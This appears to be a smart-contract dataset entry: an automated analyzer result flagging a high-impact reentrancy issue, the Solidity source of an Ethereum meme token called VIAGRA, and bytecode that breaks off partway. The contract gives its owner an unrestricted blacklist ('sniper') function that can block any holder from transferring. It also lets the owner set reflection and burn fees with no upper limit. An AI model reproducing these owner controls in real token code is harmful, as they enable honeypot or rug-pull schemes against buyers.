fff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a6816128bf565b6126b0848361297c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161270d919061332e565b60405180910390a3505050505050505050565b60008060006009549050600068056bc75e2d63100000905061275668056bc75e2d6310000060095461210b90919063ffffffff16565b8210156127755760095468056bc75e2d6310000093509350505061277e565b81819350935050505b9091565b60008060008060008060008060006127986129b6565b6127b6576127b18a600b60020154600b600301546129cd565b6127cc565b6127cb8a600b60000154600b600101546129cd565b5b92509250925060006127dc61252a565b905060008060006127ef8e878787612a63565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061285983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061202c565b905092915050565b60008082846128709190613464565b9050838110156128b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ac9061324e565b60405180910390fd5b8091505092915050565b60006128c961252a565b905060006128e0828461209090919063ffffffff16565b905061293481600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286190919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129918260095461281790919063ffffffff16565b6009819055506129ac81600a5461286190919063ffffffff16565b600a819055505050565b6000601660189054906101000a900460ff16905090565b6000806000806129f960646129eb888a61209090919063ffffffff16565b61210b90919063ffffffff16565b90506000612a236064612a15888b61209090919063ffffffff16565b61210b90919063ffffffff16565b90506000612a4c82612a3e858c61281790919063ffffffff16565b61281790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a7c858961209090919063ffffffff16565b90506000612a93868961209090919063ffffffff16565b90506000612aaa878961209090919063ffffffff16565b90506000612ad382612ac5858761281790919063ffffffff16565b61281790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612aff612afa846133e3565b6133be565b90508083825260208201905082856020860282011115612b2257612b2161374e565b5b60005b85811015612b525781612b388882612b5c565b845260208401935060208301925050600181019050612b25565b5050509392505050565b600081359050612b6b8161399d565b92915050565b600081519050612b808161399d565b92915050565b600082601f830112612b9b57612b9a613749565b5b8135612bab848260208601612aec565b91505092915050565b600081359050612bc3816139b4565b92915050565b600081519050612bd8816139b4565b92915050565b600081359050612bed816139cb565b92915050565b600081519050612c02816139cb565b92915050565b600060208284031215612c1e57612c1d613758565b5b6000612c2c84828501612b5c565b91505092915050565b600060208284031215612c4b57612c4a613758565b5b6000612c5984828501612b71565b91505092915050565b60008060408385031215612c7957612c78613758565b5b6000612c8785828601612b5c565b9250506020612c9885828601612b5c565b9150509250929050565b600080600060608486031215612cbb57612cba613758565b5b6000612cc986828701612b5c565b9350506020612cda86828701612b5c565b9250506040612ceb86828701612bde565b9150509250925092565b60008060408385031215612d0c57612d0b613758565b5b6000612d1a85828601612b5c565b9250506020612d2b85828601612bde565b9150509250929050565b600060208284031215612d4b57612d4a613758565b5b600082013567ffffffffffffffff811115612d6957612d68613753565b5b612d7584828501612b86565b91505092915050565b600060208284031215612d9457612d93613758565b5b6000612da284828501612bb4565b91505092915050565b600060208284031215612dc157612dc0613758565b5b6000612dcf84828501612bc9565b91505092915050565b600060208284031215612dee57612ded613758565b5b6000612dfc84828501612bde565b91505092915050565b600080600060608486031215612e1e57612e1d613758565b5b6000612e2c86828701612bf3565b9350506020612e3d86828701612bf3565b9250506040612e4e86828701612bf3565b9150509250925092565b60008060008060808587031215612e7257612e71613758565b5b6000612e8087828801612bde565b9450506020612e9187828801612bde565b9350506040612ea287828801612bde565b9250506060612eb387828801612bde565b91505092959194509250565b6000612ecb8383612ed7565b60208301905092915050565b612ee081613579565b82525050565b612eef81613579565b82525050565b6000612f008261341f565b612f0a8185613442565b9350612f158361340f565b8060005b83811015612f46578151612f2d8882612ebf565b9750612f3883613435565b925050600181019050612f19565b5085935050505092915050565b612f5c8161358b565b82525050565b612f6b816135ce565b82525050565b6000612f7c8261342a565b612f868185613453565b9350612f968185602086016135e0565b612f9f8161375d565b840191505092915050565b6000612fb7602a83613453565b9150612fc28261376e565b604082019050919050565b6000612fda602283613453565b9150612fe5826137bd565b604082019050919050565b6000612ffd601b83613453565b91506130088261380c565b602082019050919050565b6000613020602183613453565b915061302b82613835565b604082019050919050565b6000613043602083613453565b915061304e82613884565b602082019050919050565b6000613066602983613453565b9150613071826138ad565b604082019050919050565b6000613089601a83613453565b9150613094826138fc565b602082019050919050565b60006130ac602483613453565b91506130b782613925565b604082019050919050565b60006130cf601783613453565b91506130da82613974565b602082019050919050565b6130ee816135b7565b82525050565b6130fd816135c1565b82525050565b60006020820190506131186000830184612ee6565b92915050565b60006040820190506131336000830185612ee6565b6131406020830184612ee6565b9392505050565b600060408201905061315c6000830185612ee6565b61316960208301846130e5565b9392505050565b600060c0820190506131856000830189612ee6565b61319260208301886130e5565b61319f6040830187612f62565b6131ac6060830186612f62565b6131b96080830185612ee6565b6131c660a08301846130e5565b979650505050505050565b60006020820190506131e66000830184612f53565b92915050565b600060208201905081810360008301526132068184612f71565b905092915050565b6000602082019050818103600083015261322781612faa565b9050919050565b6000602082019050818103600083015261324781612fcd565b9050919050565b6000602082019050818103600083015261326781612ff0565b9050919050565b6000602082019050818103600083015261328781613013565b9050919050565b600060208201905081810360008301526132a781613036565b9050919050565b600060208201905081810360008301526132c781613059565b9050919050565b600060208201905081810360008301526132e78161307c565b9050919050565b600060208201905081810360008301526133078161309f565b9050919050565b60006020820190508181036000830152613327816130c2565b9050919050565b600060208201905061334360008301846130e5565b92915050565b600060a08201905061335e60008301886130e5565b61336b6020830187612f62565b818103604083015261337d8186612ef5565b905061338c6060830185612ee6565b61339960808301846130e5565b9695505050505050565b60006020820190506133b860008301846130f4565b92915050565b60006133c86133d9565b90506133d48282613613565b919050565b6000604051905090565b600067ffffffffffffffff8211156133fe576133fd61371a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061346f826135b7565b915061347a836135b7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134af576134ae61368d565b5b828201905092915050565b60006134c5826135b7565b91506134d0836135b7565b9250826134e0576134df6136bc565b5b828204905092915050565b60006134f6826135b7565b9150613501836135b7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561353a5761353961368d565b5b828202905092915050565b6000613550826135b7565b915061355b836135b7565b92508282101561356e5761356d61368d565b5b828203905092915050565b600061358482613597565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135d9826135b7565b9050919050565b60005b838110156135fe5780820151818401526020810190506135e3565b8381111561360d576000848401525b50505050565b61361c8261375d565b810181811067ffffffffffffffff8211171561363b5761363a61371a565b5b80604052505050565b600061364f826135b7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136825761368161368d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6139a681613579565b81146139b157600080fd5b50565b6139bd8161358b565b81146139c857600080fd5b50565b6139d4816135b7565b81146139df57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e259d40d4e3f34917d69769755a53bc6174c526c15abfd97d8d2963c6ce457064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,821
0xa5c30f0d441233ea17e646c207d0f54cc56cd2ad
// SPDX-License-Identifier: Unlicensed /* Viagra is the only thing Ethereum needs right now ! https://t.me/viagratoken Tokenomics Tax: 10% Investment fund: 4% Dev and Marketing: 3% Liquidity: 3% Total supply 1B Max buy 2% */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract VIAGRA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "VIAGRA"; string private constant _symbol = "VIAGRA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x79AdbCF7252523f7222be5E415EE90517887D377); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e7 * 10**9; uint256 public _maxWalletSize = 2e7 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610560578063c552849014610580578063dd62ed3e146105a0578063ea1644d5146105e6578063f2fde38b1461060657600080fd5b80638da5cb5b146105175780638f9a55c01461053557806395d89b41146101fe5780639e78fb4f1461054b57600080fd5b8063790ca413116100dc578063790ca413146104b65780637c519ffb146104cc5780637d1db4a5146104e1578063881dce60146104f757600080fd5b80636fc3eaec1461044c57806370a0823114610461578063715018a61461048157806374010ece1461049657600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103cc5780634bf2c7c9146103ec5780635d098b381461040c5780636d8aa8f81461042c57600080fd5b80632fd689e31461035a578063313ce5671461037057806333251a0b1461038c57806338eea22d146103ac57600080fd5b806318160ddd116101c157806318160ddd146102dd57806323b872dd1461030257806327c8f8351461032257806328bb665a1461033857600080fd5b806306fdde03146101fe578063095ea7b31461023c5780630f3a325f1461026c5780631694505e146102a557600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082018252600681526556494147524160d01b602082015290516102339190611cdc565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611d56565b610626565b6040519015158152602001610233565b34801561027857600080fd5b5061025c610287366004611d82565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b157600080fd5b506016546102c5906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102e957600080fd5b50670de0b6b3a76400005b604051908152602001610233565b34801561030e57600080fd5b5061025c61031d366004611d9f565b61063d565b34801561032e57600080fd5b506102c561dead81565b34801561034457600080fd5b50610358610353366004611df6565b6106a6565b005b34801561036657600080fd5b506102f4601a5481565b34801561037c57600080fd5b5060405160098152602001610233565b34801561039857600080fd5b506103586103a7366004611d82565b610745565b3480156103b857600080fd5b506103586103c7366004611ebb565b6107b4565b3480156103d857600080fd5b506017546102c5906001600160a01b031681565b3480156103f857600080fd5b50610358610407366004611edd565b6107e9565b34801561041857600080fd5b50610358610427366004611d82565b610818565b34801561043857600080fd5b50610358610447366004611ef6565b610872565b34801561045857600080fd5b506103586108ba565b34801561046d57600080fd5b506102f461047c366004611d82565b6108e4565b34801561048d57600080fd5b50610358610906565b3480156104a257600080fd5b506103586104b1366004611edd565b61097a565b3480156104c257600080fd5b506102f4600a5481565b3480156104d857600080fd5b506103586109a9565b3480156104ed57600080fd5b506102f460185481565b34801561050357600080fd5b50610358610512366004611edd565b610a03565b34801561052357600080fd5b506000546001600160a01b03166102c5565b34801561054157600080fd5b506102f460195481565b34801561055757600080fd5b50610358610a7f565b34801561056c57600080fd5b5061025c61057b366004611d56565b610c37565b34801561058c57600080fd5b5061035861059b366004611ebb565b610c44565b3480156105ac57600080fd5b506102f46105bb366004611f18565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156105f257600080fd5b50610358610601366004611edd565b610c95565b34801561061257600080fd5b50610358610621366004611d82565b610cd3565b6000610633338484610dbd565b5060015b92915050565b600061064a848484610ee1565b61069c8433610697856040518060600160405280602881526020016120f1602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061158d565b610dbd565b5060019392505050565b6000546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d090611f51565b60405180910390fd5b60005b8151811015610741576001600960008484815181106106fd576106fd611f86565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061073981611fb2565b9150506106dc565b5050565b6000546001600160a01b0316331461076f5760405162461bcd60e51b81526004016106d090611f51565b6001600160a01b03811660009081526009602052604090205460ff16156107b1576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146107de5760405162461bcd60e51b81526004016106d090611f51565b600b91909155600d55565b6000546001600160a01b031633146108135760405162461bcd60e51b81526004016106d090611f51565b601155565b6015546001600160a01b0316336001600160a01b03161461083857600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461089c5760405162461bcd60e51b81526004016106d090611f51565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b0316146108da57600080fd5b476107b1816115c7565b6001600160a01b03811660009081526002602052604081205461063790611601565b6000546001600160a01b031633146109305760405162461bcd60e51b81526004016106d090611f51565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109a45760405162461bcd60e51b81526004016106d090611f51565b601855565b6000546001600160a01b031633146109d35760405162461bcd60e51b81526004016106d090611f51565b601754600160a01b900460ff16156109ea57600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a2357600080fd5b610a2c306108e4565b8111158015610a3b5750600081115b610a765760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016106d0565b6107b181611685565b6000546001600160a01b03163314610aa95760405162461bcd60e51b81526004016106d090611f51565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610b0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b329190611fcb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba39190611fcb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610bf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c149190611fcb565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610633338484610ee1565b6000546001600160a01b03163314610c6e5760405162461bcd60e51b81526004016106d090611f51565b600d821115610c7c57600080fd5b600d811115610c8a57600080fd5b600c91909155600e55565b6000546001600160a01b03163314610cbf5760405162461bcd60e51b81526004016106d090611f51565b601954811015610cce57600080fd5b601955565b6000546001600160a01b03163314610cfd5760405162461bcd60e51b81526004016106d090611f51565b6001600160a01b038116610d625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6001600160a01b038216610e805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106d0565b6001600160a01b038216610fa75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106d0565b600081116110095760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106d0565b6001600160a01b03821660009081526009602052604090205460ff16156110425760405162461bcd60e51b81526004016106d090611fe8565b6001600160a01b03831660009081526009602052604090205460ff161561107b5760405162461bcd60e51b81526004016106d090611fe8565b3360009081526009602052604090205460ff16156110ab5760405162461bcd60e51b81526004016106d090611fe8565b6000546001600160a01b038481169116148015906110d757506000546001600160a01b03838116911614155b1561143757601754600160a01b900460ff166111355760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106d0565b6017546001600160a01b03838116911614801561116057506016546001600160a01b03848116911614155b15611212576001600160a01b038216301480159061118757506001600160a01b0383163014155b80156111a157506015546001600160a01b03838116911614155b80156111bb57506015546001600160a01b03848116911614155b15611212576018548111156112125760405162461bcd60e51b815260206004820152601c60248201527f